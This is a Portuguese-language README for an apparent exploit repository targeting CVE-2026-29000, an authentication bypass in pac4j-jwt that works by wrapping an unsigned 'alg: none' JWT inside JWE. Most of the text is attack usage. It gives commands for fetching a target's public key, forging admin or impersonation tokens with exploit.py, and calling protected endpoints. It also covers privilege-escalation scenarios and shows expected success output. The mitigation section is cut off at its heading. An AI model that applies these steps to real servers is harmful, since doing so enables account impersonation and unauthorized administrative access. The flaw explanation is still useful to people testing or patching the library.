Exploit CVE-2026-29000

Bypass de Autenticação JWT no pac4j-jwt via PlainJWT encapsulado em JWE

Descrição da Vulnerabilidade

A CVE-2026-29000 é uma vulnerabilidade crítica de bypass de autenticação que afeta as versões do pac4j-jwt anteriores a 4.5.9, 5.7.9 e 6.3.3. A vulnerabilidade permite que atacantes remotos forjem tokens de autenticação e contornem a verificação de assinatura.

Detalhes Técnicos

A vulnerabilidade existe no componente JwtAuthenticator ao processar JWTs criptografados (JWE). Quando um token JWE é recebido:

1. O servidor descriptografa o JWE usando sua chave privada RSA
2. O conteúdo descriptografado revela um JWT interno
3. VULNERABILIDADE: O servidor extrai as claims do JWT interno sem verificar sua assinatura
4. Atacantes podem criar um JWE que encapsula um PlainJWT (algoritmo: "none") com claims arbitrárias

Requisitos do Ataque

• Acesso à chave pública RSA do servidor (frequentemente exposta via endpoint JWKS)
• Capacidade de enviar tokens forjados para a aplicação vulnerável

Impacto

• Bypass completo de autenticação: Atacantes podem autenticar como qualquer usuário
• Escalação de privilégios: Podem atribuir papéis arbitrários, incluindo papéis de administrador
• Sequestro de sessão: Podem se passar por usuários legítimos sem credenciais

Versões Afetadas

• pac4j-jwt < 4.5.9
• pac4j-jwt < 5.7.9
• pac4j-jwt < 6.3.3

Conteúdo do Repositório

• exploit.py - Script de exploit em Python para gerar tokens maliciosos
• vulnerable_server.py - Servidor de demonstração simulando a vulnerabilidade
• requirements.txt - Dependências Python
• README.md - Este arquivo

Instalação

Pré-requisitos

• Python 3.8 ou superior
• Gerenciador de pacotes pip

Configuração

# Clone o repositório
git clone https://github.com/RootX111/cve-2026-29000.git
cd cve-2026-29000

# Instale as dependências
pip3 install -r requirements.txt

Uso

Passo 1: Inicie o Servidor de Teste Vulnerável

python3 vulnerable_server.py

O servidor irá:

• Gerar um par de chaves RSA (salvo em server_private.pem e server_public.pem)
• Iniciar em http://127.0.0.1:5000
• Expor a chave pública em http://127.0.0.1:5000/public-key

Passo 2: Obtenha a Chave Pública do Alvo

Em um cenário de ataque real, obtenha a chave pública do servidor alvo:

# Baixe a chave pública do endpoint JWKS
curl http://target-server.com/jwks > target_jwks.json

# Ou endpoint direto da chave pública
curl http://target-server.com/public-key > target_public.pem

Para o servidor de teste:

curl http://127.0.0.1:5000/public-key > server_public.pem

Passo 3: Gere o Token Malicioso

Use o script de exploit para criar um PlainJWT encapsulado em JWE:

# Uso básico - autenticar como admin
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem

# Autenticar como usuário específico com múltiplos papéis
python3 exploit.py --subject john.doe --roles ROLE_USER,ROLE_MANAGER --public-key server_public.pem

# Adicionar claims personalizadas
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","department":"IT"}'

# Salvar token em arquivo
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem \
  --output malicious_token.txt

Passo 4: Teste o Ataque

Teste Contra o Servidor Vulnerável

# Defina o token malicioso (copie da saída do exploit.py)
TOKEN="eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0NNIn0..."

# Acesse o endpoint público (deve funcionar)
curl http://127.0.0.1:5000/api/public

# Acesse o endpoint de usuário com token malicioso (BYPASS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# Acesse o endpoint de admin com token malicioso (ESCALAÇÃO DE PRIVILÉGIOS!)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

Saída esperada de sucesso do endpoint de admin:

{
  "status": "success",
  "message": "Admin endpoint accessed - RESTRICTED DATA",
  "user": "admin",
  "roles": ["ROLE_ADMIN"],
  "secret_data": "FLAG{CVE-2026-29000_JWT_BYPASS_SUCCESS}",
  "admin_info": "This is sensitive administrative data"
}

Fluxo de Ataque Completo

Comandos de Teste Completos

# 1. Instale as dependências
pip3 install -r requirements.txt

# 2. Inicie o servidor vulnerável (no terminal 1)
python3 vulnerable_server.py

# 3. Em um novo terminal, obtenha a chave pública
curl http://127.0.0.1:5000/public-key > server_public.pem

# 4. Gere o token admin malicioso
python3 exploit.py --subject admin --roles ROLE_ADMIN --public-key server_public.pem --output token.txt

# 5. Extraia o token para uma variável
TOKEN=$(cat token.txt)

# 6. Teste o endpoint público (linha de base - sem necessidade de autenticação)
curl http://127.0.0.1:5000/api/public

# 7. Teste o endpoint de usuário (deve funcionar com nosso token malicioso)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/user

# 8. Teste o endpoint de admin (SUCESSO DO EXPLOIT - deve acessar dados restritos)
curl -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin

# 9. Verifique se a resposta contém a flag
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:5000/api/admin | grep -o 'FLAG{.*}'

Cenários de Ataque Avançados

Cenário 1: Personificar Usuário Específico

python3 exploit.py --subject [email protected] --roles ROLE_USER --public-key server_public.pem

Cenário 2: Escalar para Administrador

python3 exploit.py --subject attacker --roles ROLE_ADMIN,ROLE_SUPERUSER --public-key server_public.pem

Cenário 3: Injeção de Claims Personalizadas

python3 exploit.py --subject hacker --roles ROLE_ADMIN --public-key server_public.pem \
  --claims '{"email":"[email protected]","isVerified":true,"permissions":["*"]}'

Opções do Script de Exploit

usage: exploit.py [-h] [--subject SUBJECT] [--roles ROLES] [--public-key PUBLIC_KEY]
                  [--claims CLAIMS] [--generate-keypair] [--output OUTPUT]

CVE-2026-29000: Gere tokens PlainJWT maliciosos encapsulados em JWE

options:
  -h, --help            mostra esta mensagem de ajuda e sai
  --subject SUBJECT, -s SUBJECT
                        Subject (nome de usuário) a personificar
  --roles ROLES, -r ROLES
                        Lista de papéis separados por vírgula (ex.: ROLE_ADMIN,ROLE_USER)
  --public-key PUBLIC_KEY, -k PUBLIC_KEY
                        Caminho para o arquivo PEM da chave pública RSA
  --claims CLAIMS, -c CLAIMS
                        Claims adicionais como string JSON
  --generate-keypair, -g
                        Gera um par de chaves RSA de teste e salva em arquivos
  --output OUTPUT, -o OUTPUT
                        Arquivo de saída para o token gerado

Como a Vulnerabilidade Funciona

Fluxo Normal de JWT (Seguro)

1. O cliente envia JWT com assinatura
2. O servidor verifica a assinatura com a chave pública
3. Se válido, extrai as claims
4. Concede acesso com base nas claims

Fluxo Vulnerável (CVE-2026-29000)

1. O atacante obtém a chave pública RSA do servidor
2. O atacante cria um PlainJWT (alg: none) com claims arbitrárias
   Exemplo: {"sub": "admin", "roles": ["ROLE_ADMIN"]}
3. O atacante criptografa o PlainJWT usando JWE com a chave pública do servidor
4. O servidor descriptografa o JWE com sucesso
5. O servidor extrai as claims do PlainJWT interno SEM verificação de assinatura
6. O servidor concede acesso com base nas claims forjadas

Por Que Funciona

A vulnerabilidade ocorre porque:

• O JWE fornece confidencialidade, não integridade para o conteúdo interno
• O servidor assume que o sucesso da descriptografia implica autenticidade
• O PlainJWT (alg: none) não possui assinatura para verificar
• As claims são confiadas apenas por terem sido criptografadas

Mitigação

Para Desenvolvedores